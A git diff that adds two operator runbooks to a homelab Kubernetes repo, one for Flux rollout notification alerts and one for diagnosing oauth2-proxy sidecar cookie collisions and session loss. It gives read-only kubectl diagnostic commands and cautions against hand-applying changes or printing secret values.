+**Alerts:** `FluxRolloutInProgress` (info, no `for:`) and `FluxRolloutStuck` (warning, 30m)
+**File:** `platform/monitoring/alerts.yaml`, group `platform-health.flux`
+**Metrics:** `kube_flux_kustomization_info` / `kube_flux_kustomization_suspended` /
+`kube_flux_gitrepository_info` — kube-state-metrics custom-resource-state, configured in
+`platform/monitoring/kube-prometheus-stack.yaml`
+
+## What this means here
+
+These two are the **deploy notification**, not a fault report. On this cluster merging a PR into
+`main` IS the deploy, and until this pair existed nothing told you a deploy had begun: the Flux event
+stream emits `ReconciliationSucceeded` on every 10-minute tick whether or not anything changed (101
+such events in one hour, measured 2026-09-29), so "applying a commit" and "idle" looked identical.
+
+The pair reads the one signal that moves only when git moves — the **applied revision**:
+
+- `GitRepository/flux-system` `.status.artifact.revision` — what `main` is (polled every 1m)
+- `Kustomization/*` `.status.lastAppliedRevision` — what each tier has actually applied
+
+**`FluxRolloutInProgress` fires** the moment any non-suspended Kustomization's applied revision is
+not the revision fetched from `main`, and **clears when every one of them has caught up**. So:
+
+| Mail | Subject | Means |
+|---|---|---|
+| firing | `[FLUX] applying — FluxRolloutInProgress` | a commit started rolling out |
+| resolved | `[FLUX] applied — FluxRolloutInProgress` | every Kustomization reached it; rollout complete |
+
+Both are expected, routine, and not a problem. The `severity: info` label routes them to the
+dedicated `email-deploy` Alertmanager receiver so they never arrive subject-lined `[WARNING]`.
+
+**`FluxRolloutStuck` is the one that matters.** Same expression, `for: 30m`, `severity: warning`. It
+means a deploy started and did not converge — the "applying" mail arrived and the "applied" mail
+never did. The 14-tier chain is dependency-ordered and revision-gated, so a single stalled tier holds
+every tier below it on "dependency not ready".
+
+## First commands
+
+`kubectl` does not work on the workstation — the toolchain lives only in the pinned container, and
+the context must always be named explicitly.
+
+Which tiers are behind, and on what:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get gitrepository flux-system \
+    -o jsonpath="WANTED: {.status.artifact.revision}{\"\n\"}"
+  kubectl --context k3s-prod get kustomizations -A \
+    -o custom-columns="NAME:.metadata.name,APPLIED:.status.lastAppliedRevision,READY:.status.conditions[?(@.type==\"Ready\")].status"'
+```
+
+Any row whose `APPLIED` differs from `WANTED` is a tier this alert is naming. Then ask **why** that
+tier is not moving — its Ready condition carries the reason:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get kustomization <name> \
+    -o jsonpath="{range .status.conditions[*]}{.type}={.status} {.reason}: {.message}{\"\n\"}{end}"'
+```
+
+Confirm the alert is reading live data rather than a stale exporter:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  POD=$(kubectl --context k3s-prod -n monitoring get pod -l app.kubernetes.io/name=prometheus -o name | head -1)
+  kubectl --context k3s-prod -n monitoring exec "$POD" -c prometheus -- \
+    /bin/promtool query instant http://localhost:9090 "count by (__name__) ({__name__=~\"kube_flux.*\"})"'
+```
+
+Three names must come back (`kube_flux_kustomization_info`, `kube_flux_kustomization_suspended`,
+`kube_flux_gitrepository_info`). If that query is **empty**, the alerts are inert — go to the last
+cause below.
+
+## Likely causes, most likely first
+
+1. **Nothing is wrong — the rollout is simply in flight.** Most Kustomizations reconcile on a 10m
+   interval and the chain is sequential, so several minutes between the "applying" and "applied"
+   mails is normal. `cilium` is on a 1h interval and can legitimately be the last to converge.
+2. **A gating tier is unhealthy, so everything below it is parked.** Look for `DependencyNotReady`
+   in the stuck tier's message and walk *up* the chain to the first tier that is not Ready; that one
+   is the real fault. Its own alert (`FluxReconciliationFailure`) and runbook `flux-reconcile` own it.
+3. **A Kustomization is suspended.** A suspended tier is excluded from this alert by design (so it
+   cannot hold the "applied" mail open forever), but anything that `dependsOn` it still stalls and
+   *will* show here. `FluxResourceSuspended` / runbook `flux-suspended` covers it.
+4. **A health check is timing out.** A `wait: true` tier only records `lastAppliedRevision` once its
+   objects pass health checks, so a workload that never goes Ready keeps the tier on the old
+   revision even though the manifests applied fine.
+5. **kube-state-metrics is not publishing the `kube_flux_*` family.** Then the rules are inert and
+   you would get *no* mail at all rather than a stuck one — so this is the cause when the complaint
+   is silence. The metrics come from `customResourceState` plus a read-only RBAC rule for
+   `kustomize.toolkit.fluxcd.io` / `source.toolkit.fluxcd.io`; without that RBAC, KSM emits the set
+   **empty** and logs a forbidden error. Check its logs:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c '
+     kubectl --context k3s-prod -n monitoring logs deploy/kube-prometheus-stack-kube-state-metrics \
+       --tail=50 | grep -i "forbidden\|custom.resource" || echo "no RBAC complaints"'
+   ```
+   Note the chart puts **no checksum annotation** over that ConfigMap, so a change to the config
+   alone does not restart the pod — that is why `podAnnotations` carries a
+   `homelab.keithjackson.dev/crs-config-rollout` counter that must be bumped in the same commit.
+
+## When to escalate or stop
+
+- **`FluxRolloutInProgress` alone, cleared within ~15 minutes: do nothing.** That is the feature
+  working. Do not suspend, reconcile or apply anything in response to it.
+- **`FluxRolloutStuck` firing: fix the upstream fault, not this symptom.** This alert names the
+  tier that is behind; it never names the cause. Walk up to the first non-Ready tier and use
+  `flux-reconcile`.
+- **Never `kubectl apply`, `edit` or `patch` the change through by hand.** Flux reconciles `main`;
+  a hand-applied object is drift that the next reconcile reverts or, worse, adopts — and it makes
+  the applied-revision signal these alerts read a lie. `flux reconcile` (an operator action, never
+  an agent's) is the only nudge that is safe, and it only *hurries* the same pull.
+- **Escalate to a revert if a stuck rollout is degrading service.** Reverting the offending commit
+  on `main` through the normal PR flow is the rollback path; see runbook `update-rollback`.
+- **If both alerts are silent during a deploy you know happened,** the notification itself is broken,
+  not the deploy. That is cause 5 above, and it is worth fixing immediately — silence from these
+  rules is indistinguishable from "no deploys happened", which is the exact defect they were
+  written to close.

runbooks/kustomization.yaml

@@ -60,8 +60,12 @@ configMapGenerator:
       - cnpg-exporter=cnpg-exporter.md
       - cnpg-primary-spread=cnpg-primary-spread.md
       - cnpg-wal-growth=cnpg-wal-growth.md
+      # Operator procedure, not alert-linked (Crafty's local login is a second factor behind
+      # the Keycloak gate and its bootstrap password lives only on the PVC).
+      - crafty-admin-credential=crafty-admin-credential.md
       - denied-flows=denied-flows.md
       - flux-reconcile=flux-reconcile.md
+      - flux-rollout=flux-rollout.md
       - flux-suspended=flux-suspended.md
       - image-automation=image-automation.md
       - image-policy-stalled=image-policy-stalled.md
@@ -81,6 +85,11 @@ configMapGenerator:
       - node-io=node-io.md
       - node-memory=node-memory.md
       - node-memory-swap=node-memory-swap.md
+      # Operator procedure, not alert-linked. Reading the per-app oauth2-proxy sidecar log to tell
+      # Keycloak, the sidecar and the app's own login apart. Cookie collision between two sidecars
+      # presents as random session loss in ONE app's log and is only legible with both side by side,
+      # so the page has to be reachable at 3am without going looking for it in git.
+      - oauth2-proxy-session=oauth2-proxy-session.md
       # Operator procedure, not an alert page (no alert links to it — the
       # alert-runbooks-resolvable check treats that as advisory). It is served
       # because the plex.tv claim window is short and is not a thing to go looking

runbooks/oauth2-proxy-session.md

@@ -0,0 +1,195 @@
+# oauth2-proxy-session — telling the auth layers apart from the sidecar log
+
+**Not alert-driven.** This is an operator procedure for the per-app oauth2-proxy sidecars
+(`jackett`, `pihole`, `qbittorrent`, `radarr`, `sonarr`, `crafty`) and the shared forward-auth
+proxy in namespace `oauth2-proxy`. Use it when a gated UI behaves as though you are signed in and
+signed out at the same time: the page loads, but its buttons and saves quietly do nothing.
+
+> The sidecar log contains **email addresses, session UUIDs and full callback URLs including an
+> OAuth `code`**. Read it, do not paste it. (Repo rule §6: secrets never enter a transcript.)
+
+## What this means here
+
+Every gated app on `home.keithjackson.dev` has **at least two** independent authentications
+stacked on it, and the symptom rarely names the one that refused:
+
+1. **Keycloak** — the `homelab` realm issues the token. Failures here are visible: you see a login
+   form, or an error page from Keycloak's own hostname.
+2. **The oauth2-proxy sidecar** — validates the session cookie and the group claim
+   (`media-users` / `platform-admins`). **This is the layer that fails silently**, and the rest of
+   this page is about reading it.
+3. **The app's own login**, where it has one — Crafty and Radarr/Sonarr each present a local login
+   *behind* the Keycloak gate. See `runbooks/crafty-admin-credential.md` for that layer.
+
+The sidecar's access log distinguishes all three, if you know the four lines to look for. Get it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1'
+
+Substitute the namespace and label for the app you are chasing. Always pass `--context k3s-prod`:
+`dev.sh` merges both clusters and picks a current-context **per invocation**, and that default has
+already changed once. Do not run two `dev.sh` invocations at the same time.
+
+### The four lines, and what each one means
+
+| Log line | What actually happened | Which layer |
+|---|---|---|
+| `[AuthSuccess] Authenticated via OAuth2: Session{... groups:[...]}` | Keycloak issued a token and the proxy accepted it. **The IdP is fine.** | Keycloak ✔ |
+| `[oauthproxy.go:1026] No valid authentication in request. Initiating login.` | **No session cookie was presented at all.** Either you never had one, or something *deleted* it — see below. | sidecar |
+| `[stored_session.go:94] Error loading cookied session: cookie signature not valid, removing session` | A cookie **of the right name** arrived that this proxy **could not decrypt**. Almost always a *different* proxy's cookie. Note `removing session`: this proxy then **deletes** it. | sidecar, cookie collision |
+| an upstream path of `-` instead of `/` in an access-log line | the **proxy answered the request itself**; it never reached the app. Compare `POST - "/api/..."` against `POST / "/api/..."`. | sidecar |
+
+That last column is the one people miss. The upstream field sits between the method and the quoted
+path. `-` means the proxy handled it (a redirect, a 401, its own `/oauth2/*` endpoints); `/` means
+it was proxied to the app. Count them:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1 \
+      | grep -v "\"/ping\"" | grep -E " (POST|PUT|DELETE) " | cut -c1-140'
+
+If your writes show `-`, the app never saw them. On 2026-09-30, **4 of the 6 POSTs** in jackett's
+log had `-`.
+
+## First commands
+
+**1. Did Keycloak ever succeed?** No `AuthSuccess` at all means this is not a cookie problem —
+go to `runbooks/keycloak-down.md` or `runbooks/keycloak-client-secrets.md`.
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 | grep -c AuthSuccess'
+
+**2. How long does a session last?** Subtract `created` from `expires` on an `AuthSuccess` line.
+If it is exactly **5m**, the session's lifetime is Keycloak's access-token lifetime and the proxy
+is not refreshing it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 \
+      | grep AuthSuccess | tail -1 | grep -o "created:[^ ]* [^ ]*\|expires:[^ ]* [^ ]*"'
+
+The same line says `refresh_token:true` — the proxy is *holding* a refresh token. It will only
+spend it if `--cookie-refresh` is set; the default is `0`, meaning disabled.
+
+**3. Is this a cookie collision?** Two checks, and you want both.
+
+*Names and scopes* — every instance that emits the default name `_oauth2_proxy` on the shared
+`.home.keithjackson.dev` domain is in the collision set with every other one:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get pods -A -o json \
+      | grep -E "cookie-name|cookie-domain"'
+
+An instance with **no** `--cookie-name` argument is using the default. That is the failure — the
+flag being absent, not wrong.
+
+*The smoking gun* — search **every** proxy, not just the one you are debugging, for the removal
+line, and put the timestamps next to each other:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      echo "== $ns"; kubectl --context k3s-prod -n $ns logs -l app.kubernetes.io/name=$ns \
+      -c oauth2-proxy --tail=-1 2>/dev/null | grep stored_session; done'
+
+**4. Do the cookie-secrets actually differ?** They should — but confirm the collision is between
+instances that genuinely cannot read each other. Compare **hashes**, never values:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      printf "%s " "$ns"; kubectl --context k3s-prod -n $ns get secret $ns-oauth2-proxy \
+      -o jsonpath="{.data.cookie-secret}" | sha256sum | cut -c1-12; done'
+
+Never print `.data` or `.stringData` itself. A password has been leaked into a transcript here
+before.
+
+### Do not rank apps by their failure ratio
+
+Counting `No valid authentication` against `AuthSuccess` per app looks like a health metric and is
+not one. **It ranks chattiness, not breakage.** An app whose UI polls or holds a WebSocket
+manufactures one failure line per retry, so a single dead cookie in one idle browser tab becomes
+scores of log lines, while an app nobody is using scores zero no matter how broken it is. Measured
+2026-09-30: Radarr showed **156** unauthenticated requests against **1** `AuthSuccess`, but the top
+paths were `/api/v3/command` (62), `/api/v3/queue/details` (46) and `/signalr/messages/negotiate`
+(43) — polling, not 156 user-visible failures.
+
+**Bound the window to the current pod, not to wall-clock.** A ratio measured over 24 h across a pod
+that restarted 13 h ago is mostly about the *previous* configuration, and that is exactly how a
+deployed fix gets written off as ineffective. The pod's own log has an exact boundary — its process
+start — so read it there:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> get pod \
+      -l app.kubernetes.io/name=<app> -o jsonpath="{.items[*].status.startTime}{\"\n\"}"'
+
+then count within that same pod's log. On 2026-09-30 this took Crafty from an apparent 81:1 over 24 h
+to **3 failures in its fixed pod's entire 13 h 52 m life**, two of them `/ws` reconnects.
+
+## Likely causes, most likely first
+
+1. **Cookie collision between two per-app proxies.** Several instances emit the default
+   `_oauth2_proxy` on `.home.keithjackson.dev` with different `cookie-secret`s. Whoever
+   authenticates last overwrites the rest; the losers log `cookie signature not valid, removing
+   session` and — because `removing session` clears the cookie on *their* `--cookie-domain`, which
+   is the whole zone — **delete a session belonging to an app in another namespace**. The victim
+   then logs `No valid authentication` with no cookie at all, seconds after a clean login, while
+   its own `expires` is still minutes away. **Read both logs side by side; one app's log alone
+   makes this look like random session loss.** Fix: a unique `--cookie-name` and a host-scoped
+   `--cookie-domain` on the per-app sidecar. The shared forward-auth proxy keeps the zone-wide
+   scope — cross-host auth is its job.
+2. **Session pinned to a 5-minute access token with no refresh.** `--cookie-refresh` unset means
+   the proxy never spends the refresh token it holds, so the session expires with the access token.
+   Set it to about half the measured token lifetime.
+3. **An XHR got a 302 instead of a 401.** The app's JavaScript follows the redirect invisibly, the
+   live Keycloak SSO session satisfies it without a prompt, and the XHR resolves with **HTML where
+   it expected JSON**. Nothing is logged as an error and the operator is never re-prompted — this
+   is what "it just doesn't save, and reloading doesn't help" looks like. Worse on a write: a
+   browser following a 302 re-issues a POST as a GET and **drops the body**, so the change is
+   discarded silently. oauth2-proxy's built-in AJAX guard only fires on an exact
+   `Accept: application/json`, which most app JavaScript does not send; make it deterministic with
+   `--api-route=<regex>` (**singular** — `--api-routes` does not exist and the proxy refuses to
+   start). Keep browser-navigable paths *out* of the regex so a plain page load still signs you in.
+4. **Group membership.** An `AuthSuccess` followed by `403` is the `--allowed-group` gate, not a
+   session problem. Check the `groups:[...]` field on the `AuthSuccess` line.
+5. **The app's own second login.** Crafty, Radarr and Sonarr each have one. `AuthSuccess` followed
+   by the app's own `/login` page is layer 3, not layer 2.
+
+## When to escalate or stop
+
+- **Stop before you `kubectl edit`/`patch`/`apply` anything.** Flux reconciles `main`; a
+  hand-applied flag is drift that the next reconcile reverts or, worse, adopts. Argument changes
+  go through a branch and a PR. Reading logs is always safe; changing the Deployment is not an
+  agent action.
+- **Do not hand-edit `apps/**/<app>.yaml` — those files are GENERATED.** The five per-app sidecars
+  (jackett, pihole, qbittorrent, radarr, sonarr) get their argument list from one shared function,
+  `_oauth2_sidecar_container()` in `catalog/render.py`; `catalog/<app>.yaml` declares only
+  `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`, so there
+  is **no per-app override hook**. A hand-edit to the rendered file is caught by the merge gate's
+  `render-golden` stage ("GOLDEN DRIFT ... does not match the canonical render") and would be
+  erased by the next render anyway. Change the renderer, then regenerate:
+
+      python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation
+
+  **Budget for the blast radius**: because the function is shared, any change to it rewrites the
+  sidecar block in **all five** rendered apps, and the gate requires all five be regenerated in
+  the same commit. There is no way to change one app's sidecar arguments alone. Measured
+  2026-09-30. Coordinate before starting — this is a single change, not five.
+- **Crafty is the exception** and is not rendered from the catalog: its sidecar is hand-written in
+  `platform/crafty/deployment.yaml`, so it can be, and was, fixed independently.
+- **You cannot currently alert on any of this**, and that is worth knowing before you promise
+  monitoring. Measured 2026-09-30: no per-app sidecar sets `--metrics-address` and none declares a
+  `metrics` container port, so oauth2-proxy's metrics listener never starts — the only oauth2-proxy
+  series in Prometheus come from the shared proxy in namespace `oauth2-proxy`, which does set both.
+  Until the renderer emits them for the per-app sidecars, every diagnosis on this page is
+  log-reading only.
+- **Validate an argument change before you open the PR**, not after. The pinned image will tell
+  you what it understood, without touching the cluster:
+
+      podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help
+
+  Running it with your full proposed argument list prints a `Cookie settings:` line and an
+  `API route - Path:` line back at you, and rejects mutually exclusive flags outright
+  (`--session-cookie-minimal` with `--cookie-refresh`, for one). A flag typo here is a CrashLoop
+  on a service you have just told someone is fixed.
+- **Do not rotate a `cookie-secret` to "clear" a bad session.** It signs every live session out of
+  that app and does nothing about the collision, which is caused by the *names* matching, not the
+  secrets differing.
+- **Escalate to Keycloak** (`runbooks/keycloak-down.md`, `runbooks/keycloak-client-secrets.md`) if
+  there is no `AuthSuccess` in any proxy's log — that is an IdP or client-secret problem and no
+  cookie flag will help.
+- **Hand off rather than guess** if you see `cookie signature not valid` on a proxy that already
+  has a unique `--cookie-name`. That combination should not occur; it means something is writing
+  that name which is not in this inventory. Record what you measured.